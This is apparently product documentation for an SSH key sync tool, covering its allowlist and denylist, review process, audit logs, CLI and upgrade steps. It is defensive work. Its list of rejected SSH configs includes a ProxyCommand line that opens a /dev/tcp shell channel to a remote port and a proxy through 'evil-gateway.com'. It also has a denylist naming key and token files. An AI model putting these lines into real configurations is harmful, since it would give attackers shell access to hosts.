Skip to main content

SSH Key Sync Configuration Reference

Related Issue: #2182

Overview​

This document describes the configuration options, security review process, and best practices for SSH key synchronization.

Configuration File​

Location​

/etc/openace/ssh_sync_allowlist.yaml

Permissions​

  • Permission: 600
  • Owner: root:root
  • Reason: the configuration file may contain sensitive information and must be protected

Format Example​

# SSH key sync allowlist configuration
# Path: /etc/openace/ssh_sync_allowlist.yaml

# List of files allowed to sync
allowlist:
# Default allowlist (known hosts)
- name: "known_hosts"
type: "known_hosts"
content_check: false
description: "Known hosts list"

- name: "known_hosts.old"
type: "known_hosts"
content_check: false
description: "known_hosts backup"

- name: "known_hosts.old.*"
type: "known_hosts"
content_check: false
description: "Historical known_hosts backups"

# Example: allow syncing company public keys (requires security review)
- name: "company_*.pub"
type: "public_key"
content_check: true
max_size: 1MB
approval_required: true
security_review:
reviewed_by: "security-team"
reviewed_at: "2026-01-15"
review_notes: "Allow syncing company public keys"

# Denylist (mandatory, not configurable)
denylist_patterns:
- "id_*"
- "*.pem"
- "*.key"
- "*.socket"
- "agent.*"
- "token_*"
- "*.token"

# Upgrade handling policy
upgrade_action: "backup"

# Audit log configuration
audit_log:
path: "/var/log/openace/ssh-sync.log"
max_size: 100MB
retention_days: 30

Environment Variables​

OPENACE_SSH_UPGRADE_ACTION​

Upgrade handling policy.

Options:

  • warn: warn only, do not delete files
  • backup: back up files to ~/.ssh/legacy_backup_YYYYMMDD_HHMMSS/, then delete
  • delete: delete files directly (only files whose content fingerprint matches)

Default: backup

Use cases:

  • warn: audit mode, to confirm the detection logic works
  • backup: recommended for production, keeps a rollback path
  • delete: cleanup mode after everything is confirmed correct

OPENACE_SSH_UPGRADE_REQUIRE_CONFIRM​

Whether manual confirmation is required before handling legacy private keys.

Options:

  • true: require manual input of "yes" to confirm
  • false: handle automatically

Default: false

Use cases:

  • Set to true for upgrades of critical systems
  • Set to false for automated deployments

OPENACE_SSH_DETECT_ENCODED_KEYS​

Whether to detect encoded private keys (Base64, Hex).

Options:

  • true: detect encoded private keys
  • false: detect only plaintext private keys

Default: false

Note: Enabling this increases performance overhead and the risk of false positives.

Security Review Process​

Review Requirements​

A security review is required in the following cases:

  1. Adding a new file pattern to the allowlist
  2. Syncing SSH config file snippets
  3. Syncing non-standard public key files

Reviewer Authorization​

The list of authorized reviewers is stored in: /etc/openace/authorized_reviewers.yaml

authorized_reviewers:
- name: "security-team"
email: "security@company.com"
valid_from: "2023-01-01"

- name: "ops-team"
email: "ops@company.com"
valid_from: "2023-01-01"

Review Validity​

  • A review is valid for 1 year (configurable)
  • Expired reviews must be repeated
  • Reviews by unauthorized personnel are invalid

Review Records​

Every review must be recorded:

security_review:
reviewed_by: "security-team" # Reviewer (must be in the authorized list)
reviewed_at: "2026-01-15" # Review date
review_notes: "Allow syncing company public keys" # Review notes

Audit Log​

Log Location​

/var/log/openace/ssh-sync.log

Log Format​

[TIMESTAMP] [LEVEL] [USER] MESSAGE

Log Levels​

  • INFO: normal operations
  • WARN: issues that need attention
  • ERROR: serious problems

Log Events​

EventLevelDescription
SYNC_SUCCESSINFOFile synced successfully
SYNC_DENIEDWARNFile sync denied
LEGACY_KEY_DETECTEDERRORLegacy private key detected
LEGACY_KEY_BACKUPINFOLegacy private key backed up
LEGACY_KEY_DELETEDWARNLegacy private key deleted

Log Rotation​

  • Maximum size: 100MB
  • Retention: 30 days
  • Automatic rotation: daily
  • Automatic compression: gzip

Command-Line Tool​

View Help​

/usr/local/bin/openace-ssh-sync --help

Sync SSH Keys​

/usr/local/bin/openace-ssh-sync --user <username>

Detect Legacy Private Keys​

/usr/local/bin/openace-ssh-sync --user <username> --detect-legacy

Dry-run Mode​

/usr/local/bin/openace-ssh-sync --user <username> --dry-run

Specify a Configuration File​

/usr/local/bin/openace-ssh-sync --user <username> --config /path/to/config.yaml

Upgrade and Migration Guide​

Upgrading from 1.x​

1. Pre-upgrade Check​
# Check for legacy-synced private keys
/usr/local/bin/openace-ssh-sync --user <username> --detect-legacy
2. Configuration Migration​

Old version:

  • Automatically synced all files in /root/.ssh

New version:

  • Only allowlist files are synced
  • Private keys are not synced by default
  1. Generate a dedicated deploy key for each user:
ssh-keygen -t ed25519 -f /home/<user>/.ssh/id_ed25519_<project>
  1. Add the public key to the Git repository:
cat /home/<user>/.ssh/id_ed25519_<project>.pub
# Add to the deploy keys in GitHub/GitLab
  1. Test Git SSH access:
sudo -u <user> git clone git@github.com:org/repo.git
  1. Verify there is no dependency on root private keys:
# Remove the root private key (if no longer needed)
rm /root/.ssh/id_rsa
# Verify users can still access Git
4. Handle Legacy Private Keys​
# Set the handling policy
export OPENACE_SSH_UPGRADE_ACTION=backup

# Run detection
/usr/local/bin/openace-ssh-sync --user <username> --detect-legacy

# Check the backup
ls -la /home/<username>/.ssh/legacy_backup_*/

Rollback Plan​

If problems occur after the upgrade:

  1. Check the backup directory:
ls -la /home/<user>/.ssh/legacy_backup_*/
  1. Restore private keys:
cp /home/<user>/.ssh/legacy_backup_YYYYMMDD_HHMMSS/id_rsa /home/<user>/.ssh/
chmod 600 /home/<user>/.ssh/id_rsa
chown <user>:<user> /home/<user>/.ssh/id_rsa
  1. Verify Git access:
sudo -u <user> git clone git@github.com:org/repo.git

Troubleshooting​

Issue: known_hosts is not synced​

Check:

  1. Whether the file is under /root/.ssh
  2. Whether the file name matches the allowlist
  3. The audit log
tail -f /var/log/openace/ssh-sync.log

Issue: legacy private key not detected​

Check:

  1. Whether the file permission is 600
  2. Whether the file name matches the id_* pattern
  3. Whether the content fingerprint matches

Issue: script execution fails​

Check:

  1. Whether the script is executable
ls -la /usr/local/bin/openace-ssh-sync
  1. Whether the Python version meets the requirement
python3 --version # Requires >= 3.10
  1. The error log
journalctl -u open-ace -n 100

Best Practices​

  1. Review audit logs regularly

    • Check SYNC_DENIED records weekly
    • Check LEGACY_KEY_DETECTED alerts monthly
  2. Use a secure Git credentials scheme

    • Prefer per-user deploy keys
    • Avoid depending on root private keys
  3. Configuration changes require a security review

    • Record the reviewer and date
    • Review review validity periodically
  4. Back up data before upgrading

    • Back up the /home/*/.ssh directories
    • Back up the /root/.ssh directory
    • Record file fingerprints
  5. Monitor alerts

    • Configure log monitoring
    • Set alert thresholds

SSH Config File Security Requirements (Issue #2328)​

Default Behavior​

SSH config files (config, config_*) are DENIED by default and included in the denylist. This prevents propagation of potentially dangerous SSH configurations that could contain:

  • ProxyCommand directives with shell execution
  • IdentityFile directives pointing to root private keys
  • Hardcoded credentials or tokens
  • Include directives to sensitive paths

Security Review Process for Config Files​

If you need to sync an SSH config file, you must add it to the custom whitelist with a mandatory security review. The security review must verify:

  1. No ProxyCommand with shell execution

    • ❌ REJECT: ProxyCommand ssh -q -W %h:%p gateway.example.com
    • ❌ REJECT: ProxyCommand bash -c "exec 3<>/dev/tcp/10.0.0.1/4242; cat <&3 & cat >&3"
    • ✅ ACCEPT: No ProxyCommand or only safe ProxyCommand (e.g., nc %h %p)
  2. No IdentityFile pointing to root private keys

    • ❌ REJECT: IdentityFile /root/.ssh/id_rsa
    • ❌ REJECT: IdentityFile ~/.ssh/id_ed25519 (where ~ expands to /root)
    • ✅ ACCEPT: No IdentityFile or only safe public key paths
  3. No Include directives to sensitive paths

    • ❌ REJECT: Include /root/.ssh/config.d/*
    • ❌ REJECT: Include ~/.ssh/external_config
    • ✅ ACCEPT: No Include or only safe include paths (e.g., /etc/ssh/ssh_config.d/*)
  4. No credentials or tokens in config

    • ❌ REJECT: Password directives or hardcoded tokens
    • ❌ REJECT: API keys or authentication credentials
    • ✅ ACCEPT: No hardcoded credentials
  5. No User directive with root or privileged users

    • ❌ REJECT: User root
    • ❌ REJECT: User admin or other privileged users
    • ✅ ACCEPT: Only non-privileged user directives or no User directive

Example Whitelist Configuration for SSH Config​

allowlist:
# ... other entries ...

# Example: Allow specific SSH config with security review
- name: "safe_config"
type: "ssh_config"
content_check: true
approval_required: true
security_review:
reviewed_by: "security-team" # Must be in authorized reviewers list
reviewed_at: "2026-08-08"
review_notes: |
Verified safe:
- No ProxyCommand directives
- No IdentityFile directives
- No Include directives
- No hardcoded credentials
- Contains only Host/User/Port directives for known safe hosts

Rejected Config Patterns (Examples)​

Example 1: ProxyCommand with shell execution

# ❌ REJECTED - Security risk
Host compromised-host
ProxyCommand ssh -q -W %h:%p evil-gateway.com

Example 2: IdentityFile to root key

# ❌ REJECTED - Root private key exposure
Host internal-server
IdentityFile /root/.ssh/id_rsa

Example 3: Include sensitive path

# ❌ REJECTED - Path traversal risk
Include /root/.ssh/external_configs/*

Example 4: Safe config (acceptable)

# ✅ ACCEPTED - Safe configuration
Host github.com
User git
Port 22
HostName github.com

Changelog​

  • 2026-01-15: Initial version (Issue #2182)